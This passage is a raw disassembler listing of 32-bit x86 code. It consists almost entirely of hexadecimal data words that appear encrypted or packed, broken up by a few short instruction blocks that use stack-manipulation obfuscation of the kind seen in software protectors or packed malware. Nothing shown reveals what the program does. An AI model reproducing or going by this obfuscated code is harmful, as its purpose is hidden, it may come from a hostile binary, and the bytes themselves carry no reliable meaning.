8704E883h dd 685C2404h, 3EE4h, 68243489h, 2735h, 55242C89h, 4F2F42BDh dd 8BEE8906h, 0C481242Ch, 4, 0A5D68h, 24248900h, 4240483h dd 0BD55565Dh, 1FCF6259h, 4246C29h, 8458F5Dh, 59084581h dd 8B1FCF62h, 8950242Ch, 405E0h, 4050000h, 87000000h, 8B5C2404h dd 89522434h, 4C281E2h, 81000000h, 4C2h, 24148700h, 4973E95Ch dd 0DF4BFFF9h, 67319271h, 0A797D5B5h, 347FB893h, 0C503064Fh dd 0AEE5E0FFh, 985006F7h, 775E1330h, 0FD6E5813h, 0B5762E99h dd 508B61D8h, 0AF552D5Ch, 0E4FC41BFh, 8528054Ah, 0DE6F74A3h dd 72112BEh, 0FF032070h, 0B8DA1204h, 4EB7CF3h, 616023D3h dd 587E9h, 5150D100h, 0D8DD6733h, 4C5BECB8h, 0F1F0702Ch dd 667B0793h, 0A098F91Ah, 2B670504h, 0BCE88895h, 46523E31h dd 9DAA6BDh, 67601876h, 0DA6C7C73h, 0E8FE8549h, 0BBC84948h dd 2C4C4DE9h, 15A53C75h, 74FA74D3h, 0B2B132DEh, 0FD0CB7C5h dd 0BF34AE00h, 389601AEh, 76251B80h, 0D5A2234Ch, 7DEC9C2h dd 57277FDh, 40701364h, 0B43EDA70h, 0EAE9C0B1h, 3D3AF7B1h dd 6BC32701h, 0CC638A71h, 24A3B6F2h, 0CD650276h, 0C1A3A64Dh dd 84DD28D5h, 65B0D5h, 0DD6FE667h, 412E5F4Ah, 0D3C8D9E9h dd 8669970h, 76253150h, 266139Ch, 0AC6CC289h, 0E2970E01h dd 5FE481F5h, 394A2B58h, 0EC420182h, 0CA2BBDCFh, 0C8FE4FBAh dd 0EA9B185Eh, 0E830EF6Bh, 722E4A4Dh, 0CE8AE4F1h, 1A76246Bh dd 186F1C9Dh, 88F9F884h, 0E7F7AF8h, 0EE70E061h, 387D5BF3h dd 1776246Ch, 5BC0E45Bh, 81DDE137h, 7Ch, 8DCAB3E8h, 3CF6B20Ch dd 0A5C27624h, 0F2F7F2D0h, 0FE854B5Ch, 7A3C8AFBh, 0D5762432h dd 9982A219h, 43DDE10Eh, 1, 95E980D8h, 762432D3h, 6E0A86E1h dd 0AD57C36Bh, 2BC9DBA8h, 0D063A4DAh, 9B1832C8h, 1B169EEAh dd 0BC50476Ah, 25973F2Ah, 9825B766h, 9617EA8Ah, 0D7D250C0h dd 6945DCB5h, 7624982Fh, 0BC5CF2BDh, 819C2337h, 9F316000h dd 36881F12h, 76249772h, 0E99317Eh, 0D395E980h, 0E1762432h dd 327A3E90h, 39467624h, 0FA8612B8h, 0B634CF4h, 7624334Dh dd 1E9F1C9Bh, 94911361h, 7E2D9FE7h, 24618AFh, 0CE762433h dd 0ED8909A1h, 93108CECh, 76880194h, 0DADF65D3h, 65BBCCADh dd 0A0CF671Fh, 0F2A44FD0h, 0D680067Fh, 99B2C340h, 0BD567E2Dh dd 67DDE1D1h, 55h, 0F8F985BCh, 7B66F98Bh, 19B0270Ah, 24330345h dd 0D6D176h, 0AF4B914Eh, 56D2CEAAh, 0AE562253h, 3DA9A2D3h dd 10AD664Eh, 5877DDE1h, 0AC000000h, 6DF8F985h, 215E53D3h dd 0BFCDEA40h, 0C14E3F32h, 0EE8A5E0Dh, 841889EBh, 0E16D10E3h dd 0C1B6FF8Bh, 0DC723340h, 0E9FF85CBh, 513E4B56h, 0E2E6764h dd 354031BEh, 0BC88C09Eh, 2B547624h, 0D9539B5Eh, 268CB03Ch dd 251AEDA8h, 33E86276h, 0E1E6EE15h, 134DDh, 856F0000h dd 0FA96E7E2h, 8A0D7A79h, 30CC13C8h, 91D7A7B0h, 5F762432h dd 9F7BD350h, 1A740B08h, 7624325Eh, 1B5D0D6Ah, 0A9762433h dd 4B2341CEh, 0A43BAA70h, 32F7B10Dh, 0BAC57624h, 47134614h dd 0D0DF7C6Ch, 38DFD4A3h, 305D7C94h, 0A84BC76Fh, 76094259h dd 0A8CB0DADh, 0D34F38CDh, 0EDAB0394h, 0FB7C6C35h, 0D2BE3FBCh dd 49263DC6h, 1902A23Eh, 6C360345h, 29D6D17Ch, 3593D381h dd 84367C6Ch, 93961DC7h, 1B1EA5F1h, 9E951E6Ah, 782799E1h dd 0A13433B0h, 35F4B40Ah, 0A7C07C6Ch, 20DB730Fh, 0FADBA90Dh dd 14Ah, 0BAA739D3h, 7EB97314h, 0BE2A27CFh, 28BF3C33h dd 0EC671891h, 1125CF8Dh, 24A50741h, 4AAD576h, 0B2F83D91h dd 0A3CC7C6Ch, 353DC6D2h, 4E20B792h, 7C6CAF0Ah, 4828A9D6h dd 7324D75Ch, 0D03D8180h, 23710E8Fh, 7E128580h, 0EE8FFCF3h dd 5BF3F672h, 0B774465Ch, 0A1C3C66Dh, 0DCCB5CF0h, 0C6BD6676h dd 5867DBA9h, 0BC000000h, 4ED97BB9h, 8C9F25B7h, 24327632h dd 0A4254276h, 3358400Eh, 0F847624h, 58CB94ADh, 68207E59h dd 74762470h, 7C0D8A0Bh, 0D8AD7029h, 6BAC59CBh, 0D7A67F9h dd 0D088C66Ch, 0D576251Dh, 0F2CE26E5h, 0FFE9C550h, 6D76251Dh dd 14A4E0F6h, 0B63703B5h, 8C5CEAh, 0B9BB0000h, 7549DC7Eh dd 7C6C4EBCh, 821E6F08h, 0DC73E2E1h, 6C4DC682h, 3D95127Ch dd 7772F1ADh, 55DD6F06h, 0E84E2F5Ch, 6C4EA9EAh, 9482217Ch dd 196617F2h, 1C99EB98h, 0A4166C1Dh, 56412EE7h, 92383FBAh dd 3AB963D8h, 427D5D3Fh, 0A386306Ch, 28710207h, 0AC3BB8A8h dd 0BC57DDD2h, 93026D82h, 5E311A1Eh, 81F2FCF2h, 0B31BD0DDh dd 1E9D35FDh, 95E2E182h, 61019BF2h, 2B90CA60h, 0CD58023Dh dd 6059A36h, 1AD22B0h, 723D7C7Bh, 7EB98D16h, 1BB249DCh dd 24330543h, 0A3D4D376h, 0F3EE42CAh, 7F5DF5CFh, 7C743080h dd 0C2DEAFC8h, 0CB08D621h, 592A2FCBh, 0FC6C0B5Ch, 9CFC7D74h dd 0CF776300h, 67E485F2h, 41ED7F16h, 0DC723340h, 0A2D755FEh dd 897624E3h dd 0A7C5C063h, 0DA4D48EBh, 0C72D6B43h, 0FCBBD784h, 0AB4B5956h dd 0BC3ED9D6h, 9B9E25CFh, 7214A8F9h, 0EF8AE697h, 57C36BE8h dd 2AD8A9ACh, 23h, 9728C45Bh, 0ECBAFB88h, 0D784C6ACh, 0CCD77F38h dd 4E41EC80h, 0A8538431h, 0F84DE861h, 4C4DE97Bh, 8525EEE6h dd 494E5FCh, 790B787Fh, 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h dd 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h, 81E18951h dd 4C1h, 4E98300h, 2474FF51h, 48F5904h, 45685C24h, 89000059h dd 9A682434h, 8900007Dh, 0BD55241Ch, 64F3554h, 2C8BEE89h dd 4C48324h, 241C8B54h, 4C481h, 56520000h, 5E240481h, 5A4ABA6Ah dd 6A5EEA81h, 53894ABAh, 1C8B5A08h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_541331 ; --------------------------------------------------------------------------- db 0CFh dd 0FEA8D33Fh, 4F3A5FB8h, 0FFC50306h, 3B3D19E0h, 0DC6E8A06h dd 0A8FB6C0Fh, 7C52AF54h, 9F7B9D1Bh, 0C4D32364h, 84804279h dd 5DE55A3Fh, 0CD4E4964h, 0B5B4C029h, 0D796EF4Dh, 3660C676h dd 0A7F03B11h, 0C6111B58h, 0B107AD3Ch, 9ADEFE6Fh, 49D0A37Eh dd 2F89CB1Ch, 6053E92Fh, 7A1F559h, 0CA778F79h, 53FE7819h dd 0D4288971h, 5B9BAF33h, 36B65052h, 9511381Bh, 7E04EB03h dd 0E9517BA9h, 5F7h, 3C5C53D2h, 0A5C7C260h, 294B56E9h dd 9CFCF57Dh, 7656400h, 3AF97FCh, 9036620Eh, 3EBBD7B5h dd 0A64D593Bh, 7B12C1A3h, 736D6523h, 3AED737Ch, 6CFBFE85h dd 9E8B3B37h, 0AF651E15h, 0E36EC5AEh, 0BB85298Ah, 95E7943Ah dd 1C88E8E9h, 0E1FC8397h, 3921390h, 4556126Ch, 0E7827624h dd 661293E0h, 0C8126C19h, 0A9071726h, 9D267201h, 199BE986h dd 96446F1Ch, 65600329h, 0EBEE8B07h, 4245E07Ch, 25C0DCECh dd 0C41E5A34h, 0CDAA7624h, 0DB6D3F4Ch, 47E3B1CEh, 0C0673542h dd 0CDBDB4C5h, 0E7BED91Eh, 0E032D4B2h, 0D0667266h, 7EFB219Eh dd 6438CB68h, 0B19590BCh, 0D8D9D657h, 28A9A848h, 0D0D75C48h dd 185213A3h, 41FD7625h, 3BB9539Ah, 8A20413Eh, 0E1E809F2h dd 0AB039ADDh, 76251CEDh, 3616BCFBh, 6Eh, 0DE0B806Dh, 9D1E1A9Dh dd 0EB8808AEh, 87CF9FECh, 0CA76252Dh, 867DAB10h, 5CDDE1F5h dd 1, 0ECFF85C7h, 2432D692h, 0ED96E276h, 0A0FE6916h, 762432E8h dd 9B0A8BF4h, 50AC24E6h, 821525D3h, 24A46C2Ch, 973F7876h dd 0FCEA8818h, 6E0F7C6Bh, 600090E1h, 0E3801061h, 780597E4h dd 69210879h, 0C4B67DB2h, 5257DD07h, 0DAD95A36h, 0B8015BEh dd 0EED166A3h, 4E5BED1Ch, 5BF37031h, 413E33BFh, 0C7B4B133h dd 0CA1ECDBFh, 5D492B2Eh, 0AD44D3D6h, 24AD97D1h, 0F45A2576h dd 3712B5C7h, 52B5EBA0h, 0ED869924h, 32980148h, 61DE8885h dd 0E187CC47h, 0B316DDh, 858D0000h, 0D36DF8F9h, 0ECC25550h dd 762432ACh, 0D8D77F38h, 5B2837C8h, 0DEAFAA49h, 0E158D325h dd 0E8784C68h, 9C3B4857h, 61A861DEh, 912BF2A9h, 7641514h dd 4247E3AFh, 0CBCE6A26h, 2423C05Ch, 1393E18Eh, 8C13611Eh dd 3995E091h, 76247D7Fh, 0CB6224Dh, 17DB7809h, 588B67A8h dd 838941A9h, 8E7DE902h, 0E11F6DA6h, 7DB7DDh, 80EC0000h dd 32AA060Bh, 0F7807540h, 0E90EB7EAh, 0C753FBE3h, 3E49263Bh dd 0AD0500A2h, 304140EDh, 0DC8F0493h, 9DA21848h, 1514DFD6h dd 0CF4C647Ch, 62B67567h, 0A550D0C6h, 64106FE4h, 96E76429h dd 0D7A79FAh, 26EEF6Ch, 0E9FF8561h, 70314E4Bh, 713482F3h dd 0A5762432h, 1B690603h, 93EB9885h, 44AD62D9h, 3134BF51h dd 0D18B2340h, 0EC13A6Ah, 0BE52DDE1h, 2F4C3D28h, 14787h dd 85DC0000h, 0FA96E7E2h, 51EB7A79h, 0A440D0D1h, 0E76E0DA5h dd 0DB6CB46Bh, 0F3CCACCCh, 0B9E0BE29h, 257C6C46h, 0C65A2D5Ah dd 0B2913620h, 76FD9D35h, 0B0C1C060h, 7A1672F3h, 3D8DFAF9h dd 7C6C4679h, 22D925Ch, 82DCD96Eh, 7C6C46C6h, 0BE149512h dd 365251D2h, 2CC9D95Ah, 0CABBB63Eh, 5E5F2CADh, 53D0A0D1h dd 0C0664942h, 57EE9592h, 6CDC4107h, 63E08F7Ch, 57E98C12h dd 0DBD8A9ACh, 5E827973h, 0E3B2DED5h, 4AAB749h, 0A9A7B368h dd 16D69DBh, 0B9B20000h, 0B249DC7Eh, 4BF02DF9h, 61C987F7h dd 6C51B273h, 958D067Ch, 0E754A335h, 0EC801794h, 0CCEB4346h dd 872337BCh, 2B670582h, 0ACFC8D88h, 2B730007h, 0DD9BF38Ah dd 0B7C6CE3h, 9C1D6A6Fh, 0B12B83ECh, 869D26CAh, 6226780Fh dd 6E7C6CE3h, 7119A901h, 0DBA9BF8Ah, 5850h, 7BB9CB00h dd 2DB24ED9h, 0A1FD983Eh, 76243337h, 1DADDAA5h, 7624325Bh dd 0B3550AA0h, 2358CF85h, 9DF190E5h, 762439DBh, 89F58EE9h dd 22F35BF3h, 7475F18Bh, 0F04659E4h, 24D6F6E2h, 67056276h dd 0CEC9h, 4AC7BC00h, 0EBF6899Eh, 42DC369Eh, 0E9FFC59h dd 0F951DEE5h, 0DC7EB9EEh, 921EB249h, 9CEDE48Ch, 9A389E1Fh dd 7C6C4E67h, 25770463h, 0ECEB889Eh, 37871E9Fh, 7C6C4D71h dd 0D1B3307Fh, 4A3B3EC5h, 6C4EB7FCh, 0B16EE07Ch, 5ACDC86Bh dd 5DEA1721h, 9F375DB5h, 0DC90AB03h, 6C6CC682h, 295127Ch dd 6C6CECACh, 3EBFF87Ch, 309B10A7h, 0D04A44C6h, 61640E9Ah dd 36178BC9h, 405182BCh, 2C262A6Eh, 48C9B676h, 55D06C3Bh dd 0EE442552h, 0F5828122h, 69061BA7h, 99B9E1Bh, 949B9B6Ah dd 467486D9h, 98D2A8D9h, 0CF8BEA23h, 0B733CD10h, 0EA4C5B2h dd 28D485BEh, 0C95B5829h, 3AAD2A37h, 6B7609A3h, 911D95C3h dd 0B24E7C7Ah, 1D9D3530h, 806DF692h, 32D395E9h, 86E17624h dd 0AF635C30h, 243299DFh, 0A94B2776h, 37AE2FACh, 8AE56E42h dd 900057C0h, 0D7BE1413h, 73AE0B87h, 4D3A457Ch, 0D3B1B43Fh dd 48393CC7h, 90C8A63Dh, 5C7C73ADh, 0A0DDFB53h, 9DD3A895h dd 9AA7E2Dh, 1D9A8719h, 8580237Fh, 0F11CA4F4h, 1EAEFD8Ah dd 5021AEFBh, 924605B5h, 0E9831211h, 0C6E24849h, 226638CFh dd 0AEC79FD0h, 0CFC187D7h, 600FC79Fh, 24CF4BE3h, 991AB621h dd 268CED9Ah, 81989h, 807E0000h, 0E94140ECh, 0FC8526EDh dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h dd 0CA6A0677h, 55EA86F7h, 0C96B3976h, 50B9BFCCh, 405E089h dd 83000000h, 0FF5004E8h, 58042474h, 5C24048Fh, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89532434h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2414895Ch, 188D6852h, 815A7138h dd 735935C2h, 89BB5344h, 0F72FAD46h, 3EEB81DBh, 81333072h dd 81825CC3h, 5BDA01B3h, 545AD689h, 8124148Bh, 4C4h, 0B8505600h dd 3F9D0372h, 4244431h, 8428F58h, 72087281h, 8B3F9D03h dd 89512414h, 4C181E1h, 83000000h, 0C8704C1h, 348B5C24h dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F93D30E9h dd 0A761F0FFh, 4063D40Dh, 0B843CF37h, 64F408Eh, 0E0FFC503h dd 5185575Dh, 561D4F7Fh, 76C8A0F6h, 4E56338h, 3E409E7Fh dd 18822D7Bh, 0C55408Ah, 335E31A6h, 42658D8Dh, 0DF81064Fh dd 390D8560h, 18F0Fh, 89F80000h, 4814058Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0A6D7AF86h, 0BE9h, 37809200h, 96B6AA8Fh, 0C6507D1Eh dd 302585C7h, 739C0648h, 0E9F80000h, 0Dh, 870515EDh, 87B1535Dh dd 4CB8EB49h, 0D985C741h, 6482Ah, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0C15CC357h, 81B6EF30h, 0F58D89A2h, 0FF06480Ch, 480D3DB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 6393804Eh, 0F057B7B1h, 8E87Eh, 89D40000h dd 7D15D5E3h, 858B7E55h, 6480AF1h, 0AD9D895Fh, 0FF064805h dd 480E7195h, 199D8B06h, 6A064817h, 2D95FF00h, 8B064809h dd 581BEBC0h, 98115843h, 9940E536h, 0DDEA9F4Dh, 0D52A9569h dd 7BE5B396h, 0E4DE88D8h, 4EBECE0h, 4D60BAFBh, 573E9h dd 956C1500h, 1C199BF7h, 809F207Ch, 350CB4E0h, 0BABF3B57h dd 0E4DCB5DEh, 6F3B5958h, 0F0ACCCD9h, 7A167275h, 0C59EFAF9h dd 749CDCB2h, 96287C73h, 0FBFE850Dh, 7F72FE8Ah, 0E7E2811Dh dd 0D98AFF96h, 0CD331FECh, 0E5FDCF41h dd 941535D3h, 0D2D1523Eh, 0DC2DD7A5h, 8C50AF24h, 0AEDF5CDAh dd 0C068D78Bh, 4D442423h, 473431B3h, 65009026h, 0FD8F0662h dd 50086671h, 9C7624F0h, 5C3C9213h, 0BBDE2AD1h, 0EE2A6F8h dd 81EE7625h, 511A8FF4h, 38D4A3D0h, 7B17BFBAh, 0C8BF8E5h dd 0AE4B914Eh, 56DDC9ABh, 0D1942253h, 7E7624AFh, 160B8017h dd 0B54622B5h, 1590C886h, 2ABC7625h, 0B6224D3Fh, 3946370Ah dd 4460DF91h, 0DDE1EDDFh, 3433B04Ch, 4C902647h, 5Eh, 41EC80D7h dd 0C187D74Eh, 0F762432h, 0A54ECA60h, 2AC6D1AEh, 0B3218994h dd 762432F3h, 1EA5375Eh, 4239B31Bh, 0E10EB962h, 163DDh dd 85B80000h, 0FF8DFAFFh, 71037075h, 0D088E6F1h, 1C762432h dd 4E651293h, 7F052F9Ch, 0F5871E7Ah, 33DF7752h, 8B22B5B0h dd 24327533h, 8E244376h, 0EC8051F2h, 75324346h, 0B0B13DDDh dd 0E9F48B25h, 4B31B98h, 0BACBCE74h, 0FD58AE4h, 93026E63h dd 32E6A2FCh, 0B5F27624h, 0F3F67D1Dh, 0F9B22F64h, 0CA3CFAC6h dd 0DA8D9EB9h, 0DC728B72h, 3C3ACDDFh, 0A3C0B1B0h, 0BA475522h dd 38BAD6A7h, 0B5654C3Dh, 62DC31F6h, 83DB72BDh, 76243EC5h dd 706DF3h, 0DA9EF067h, 0E676243Eh, 769D3199h, 0E5DDE11Ch dd 0DFACA94Bh, 93D478DEh, 4F000000h, 8BF8F985h, 0A7B66F9h dd 81FEF57Eh, 57277F3h, 66BF6C5Eh, 0ED8824B3h, 0B61C9DEAh dd 119D4704h, 98247010h, 27770E99h, 76243261h, 9491136Fh dd 0B11986E7h, 0E0CE7602h, 0B4C54245h, 34455CE4h, 0A9C6D964h dd 1408E03Ch, 3E85D243h, 0F506DF8Ch, 0C45B8279h, 24F8AEEAh dd 0D57D3A76h, 0E1D652B9h, 4D88DDh, 4FE10000h, 0A4E4BAB9h dd 307624FEh, 0F8B9F677h, 0F9853152h, 7CF98BF8h, 0C38F0C7Dh dd 2928D41Ch, 1D215A4Bh, 95625B4Fh, 7550F662h, 0FF85CADDh dd 783D8DFAh, 0D7762432h, 135529C0h, 0A1762433h, 817E70C6h dd 0E10E7CA7h, 1A6DDh, 85FD0000h, 0FF96E7E2h, 0B0C1C06Dh dd 304140E0h, 0BC5CF273h, 0EA53037h, 2432F8B0h, 13BBC476h dd 8A71E164h, 53C2C166h, 413E3BB9h, 9EFE8A20h, 0D970E7A5h dd 2432C385h, 0C0961176h, 47507955h, 797C6Ch, 7C9D9057h dd 85D94C9Ch, 7C6D2DC3h, 0B0C09611h, 0F242C603h, 21AECE1Eh dd 0A4A34050h, 1C099F31h, 18A80E6Fh, 93E0E78Ch, 6CFC83C3h dd 0BD4F467Ch, 214E3F2Ah, 0C068D789h, 9B8D3723h, 0EB981904h dd 336F0D8Ah, 8B22B5B0h, 6CFC7533h, 1DA37Ch, 39463273h dd 0A40A0FABh, 95E98017h, 7C6CFCD3h, 0B23172E1h, 7E696E47h dd 3AB959F1h, 7214A83Fh, 0EAB03F97h, 62012B90h, 0F08C0567h dd 0C3DB736Eh, 0DBA92058h, 47AE31CBh, 7EC6DBB2h, 0B0C14E17h dd 1A81DE07h, 0E0619D5Fh, 14C824Ah, 0B9190000h, 7549DC7Eh dd 7C6C41B0h, 0C8D76804h, 0C56E3A4Bh, 4DF6A2CEh, 0C86B3976h dd 41ECBCCDh, 0C063314Eh, 40BDFBD3h, 6C0B7C6Ch, 60029EEFh dd 0F6971465h, 0D84E8744h, 70F339E6h, 9C871775h, 46DBA900h dd 5Bh, 0D97BB9DDh, 3388704Eh, 5FD47624h, 62442430h, 0B01162F6h dd 612AC400h, 394C3DBAh, 0F5B30BA2h, 0C3762469h, 69B2F6A4h dd 49DE7624h, 0D3412E5Ah, 0DDFB5356h, 7624699Bh, 0F315CAE0h dd 1980FC5h, 96F86288h, 8A0655C6h, 1A9BE8EFh, 74B226B4h dd 713E7624h, 0AC6513h, 0B9E20000h, 0B249DC7Eh, 0B3E785F9h dd 5FCD7EFBh, 5B79D1D4h, 7C6C67A6h, 64344522h, 0E9B8D8DFh dd 9EED5AB0h, 0B1C28D02h, 3DCB64ADh, 6B278FF1h, 2EBCCDC8h dd 7C6CDA65h, 0C56FDC9Eh, 48593B3Eh, 20ED1453h, 2C594A87h dd 16D8EB9Ch, 0AC00D63Eh, 5EC993h, 82BBCFCBh, 891B6817h dd 29EEFEAh, 871E6F62h, 2B4A7137h, 0A0307F76h, 22750205h dd 2B4B0C4Ch, 14DFD876h, 4520F9A6h, 8AC2B74Eh, 0E2E1AE15h dd 0E7F5B3E3h, 0A4C3762Bh, 79EF5C0Eh, 0B5099C3Eh, 7C7B2A76h dd 1BB22542h, 6D2A0543h, 41D4D37Ch, 6D2A2B6Dh, 58FEB97Ch dd 7EB9AB48h, 0B67549DCh, 27C7375h, 0FF841465h, 670C98F8h dd 90431360h, 0B8C7A367h, 3D4F3C3Bh, 9AC1BEABh, 6FA27B20h dd 9F24CCB3h, 7ACF898h, 65FB9500h, 227C0B78h, 0C384E266h dd 1EB43572h, 6E630391h, 7C47611h, 315356DDh, 0AADBDE65h dd 33Ch, 0DA419B00h, 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh dd 82F3F672h, 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh dd 521068B9h, 1C890000h, 692D6824h, 1C890000h, 0E7895724h dd 4C781h, 0EF830000h, 243C8704h, 2404895Ch, 4EC81h, 2C890000h dd 4290BD24h, 0EB89064Fh, 48B545Dh, 4C48124h, 68000000h dd 1C1Bh, 8F241C89h, 48B0840h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_541331 ; --------------------------------------------------------------------------- dd 819D1575h, 4F4794B8h, 0FFC50306h, 0D8FD05E0h, 0DF8FA715h dd 639F5106h, 0B77AF648h, 0AFB1EA22h, 2349FE64h, 0A531427Dh dd 0F058E75Dh, 0B2F37D66h, 126FFF73h, 7B31E754h, 82DE507Fh dd 3889A015h, 8C293073h, 0E0BD745Ah, 5ACCD943h, 5D86A235h dd 7C9C4355h, 9F082A45h, 79245335h, 1C86D42Bh, 14ECD964h dd 17E6C204h, 9989B63Dh, 19E57E24h, 6453A028h, 3F04EB63h dd 0E9494809h, 581h, 4647BFAh, 8DEFEA88h, 0F1938E11h, 64041DA5h dd 0EF8D8C28h, 2BD7EFC4h, 0C85E4A56h, 46E3BFDDh, 0CE752143h dd 0A33AA9CBh, 737A8DCBh, 2855B7Ch, 8AFBFE85h, 156972FEh dd 76243253h, 68691561h, 9C1D9A1Bh, 0C8CD7709h, 3454FABBh dd 0AFDCDB58h, 225356DDh, 0D8A9AC56h, 0BB62D991h, 374901C6h dd 0A395945Fh, 3B50253Fh, 85C39B83h, 53762447h, 937FD754h dd 18BFE110h, 626C6F5h, 13AAFB99h, 24A3FDBBh, 6ACCB76h dd 88E8EF8Ah, 79E911Ch, 0BBC8C975h, 932E89FAh, 0B673364Ah dd 7F019320h, 86F7F271h, 53ED78F9h, 0D7A5D2D7h, 47245530h dd 0C44370C6h, 0B4B133CDh, 5E10A6C7h, 0BBBE3BE1h, 23D3C8D9h dd 0CC255176h, 0E0830FA7h, 7FC694E5h, 0D07624FEh, 9C87A11Eh dd 46DDE1C2h, 82h, 11109D2Fh, 0EC802EB9h, 81EB944h, 0E72AE55Ah dd 0C2680966h, 3FC5AD56h, 0B9CCBD3Ah, 0E41EF2C0h, 24ABCE8Ah dd 0E89D1A76h, 8AEBC1Eh, 250F0C4Ah, 0D48B4776h, 0E1D20BF0h dd 1D1DDh, 854A0000h, 0FF8DFAFFh, 2ECA6675h, 0D5D5A2Bh dd 7624334Bh, 0F2B60899h, 0FE762432h, 0C2B330B1h, 9408FEB3h dd 0BA792A2Ch, 258D982Eh, 61F4CD75h, 51B4F4CAh, 67007624h dd 0D189A0CFh, 393CC66Ah, 0A1A44F5Bh, 0EC8020C3h, 713E4F5Ah dd 8AEE6E04h, 4CE2EEE2h, 0AC3220CCh, 22A3C0B1h, 0B8BD4755h dd 8E22B3CBh, 0A44EAF9h, 0EEE38F55h, 39D80277h, 0CA52FA1Ch dd 0AB484464h, 3ACDDFACh, 9F24B82Fh, 88853298h, 0CC4761DEh dd 5FDDE155h, 5E2F3ACDh, 6855F951h, 3C000000h, 0A90100A0h dd 0EBF9851Eh, 0DDC85E48h, 0D2AEDF5Ch, 0A215E4Dh, 0A541EB50h dd 52018450h, 24C93C7Ch, 9AEF8876h, 4D26DDA6h, 860182F3h dd 0BBD9460Ah, 0D6AD56EAh, 0D6A7BA3Ah, 159101A9h, 6D156714h dd 78EAE794h, 9D6EA583h, 2FB4DDE1h, 0EF000000h, 8BF8F985h dd 0EA7D7CF9h, 0A2D3AE56h, 0C14E6DC5h, 0EE8A5E0Dh, 85EA89EBh dd 3D8DFAFFh, 76243278h, 80A41BD7h, 0DDE10E9Bh, 141h, 0B80DA00h dd 0FF2B090Dh, 0DBC635B7h, 253EA3F2h, 0FD820EA4h, 600391EEh dd 35BF265h, 76248C45h, 31BE1493h, 1668FF96h, 76248C52h dd 0DD1FE59Eh, 0DCE30C55h, 6C5F75Fh, 325E4DD2h, 2829C963h dd 4B112A82h, 0FBD782DCh, 64037C6Ch, 0FBFE8517h, 63660D99h dd 0D4024412h, 8A367C6Ch, 0DFAFC6B7h, 7C6CD399h, 28C85827h dd 59115829h, 824C2DE2h, 237B12DDh, 7C6CD365h, 0F29E3473h dd 7F167271h, 324346EDh, 0B7C4DB66h, 31E149F6h, 0AAC6B7B2h dd 3963FE09h, 31990391h, 0C99B045Dh, 1D9A1B5Eh, 0E7A4166Ch dd 0D1B3B63Dh, 0A937C239h, 13118DBh, 80830000h, 0EA4047ECh dd 0F4632912h, 2326C35Dh, 0DFFD5552h, 7C6C4116h, 9ADEB047h dd 267C6C40h, 0A6C1F159h, 82C6982Fh, 4E7C6C40h, 9EEA8921h dd 26721E15h, 9EE9869Dh, 17FF3E5h, 49E11CDFh, 0F7DB2AC9h dd 0D4733DECh, 0A5130075h, 6B1F5921h, 0AB059DEAh, 80872CF4h dd 76D348E0h, 0AC40DBA9h, 0A4A80E01h, 60h, 860B80FFh, 0B203B2B5h dd 0D45530D6h, 0F092AE7Eh, 199F0965h, 91287625h, 37075FFh dd 18743462h, 27407625h, 0ED97E38Fh, 4C1A6BE8h, 7625190Ch dd 2E25911h, 72099C36h, 25185C1Ch, 7A0F6876h, 0E6705144h dd 0C550E698h, 2531FFE9h, 66026D76h, 76C8h, 4826BD00h dd 76253210h, 687BD3DCh, 49DC7EB9h, 6C4EBC75h, 1E6F087Ch dd 0DA9EF087h, 0E67C6C4Dh, 0C2613199h, 4AE9A5C7h, 0ADA3D84Fh dd 34D5CB8Eh, 0A230BF17h, 7C6C96E1h, 41EB501Ah, 0F5C5A7A2h dd 399500CAh, 82BBDDF1h, 7103703Fh, 0CB8DE1F2h, 0FC762B5Dh dd 2B5DE6A2h, 0C7B5F276h, 0CB4A3BB8h, 8BB4500Fh, 5DC187D7h dd 600F762Bh, 0D01A74E3h, 187C7AA5h, 8056FD9Fh, 4458300Bh dd 2A80A040h, 34A36952h, 0B1191898h, 8E544DE4h, 0AEBB4DB3h dd 18A7D0D1h, 5402A8A4h, 7C746F86h, 81EA537h, 9AEB6877h dd 6C05B51Dh, 73EE5612h, 8405627Ch, 0EF1EA5F7h, 5C902C64h dd 8DEF6C01h, 67217D14h, 957C73C8h, 1A6517F2h, 585FE4B4h dd 0A5B633CDh, 73C88FC9h, 0D5525D7Ch, 2E07E7Dh, 0D7CB7B10h dd 0F77CA41Bh, 0F0CE65F0h, 0BF6D03B8h, 0B7D37B04h, 2C5D58DBh dd 0ACDDD45Ch, 2EF2A929h, 11109D85h, 1FA4F090h, 3F8B00Eh dd 0BBC4BF6Dh, 0BDD4D3Ah, 0C8000000h, 3A58934h, 96319906h dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 81B9BFCCh dd 4ECh, 242C8900h, 0C581E589h, 4, 8704ED83h, 575C242Ch dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 8953242Ch, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 243C895Ch, 4B36853h, 0C15B4169h dd 0E38107EBh, 800742h, 0B951DBF7h, 6CF4A7Fh, 8959CB01h dd 8B545BDDh, 0C481243Ch, 4, 2C7E68h, 242C8900h, 8B08478Fh dd 8952243Ch, 4C281E2h, 83000000h, 148704C2h, 2C8B5C24h dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 3077E95Ch dd 0E39FFF9h, 4D5EB8B4h, 0C503064Fh, 0CD13E0FFh, 48DA613Fh dd 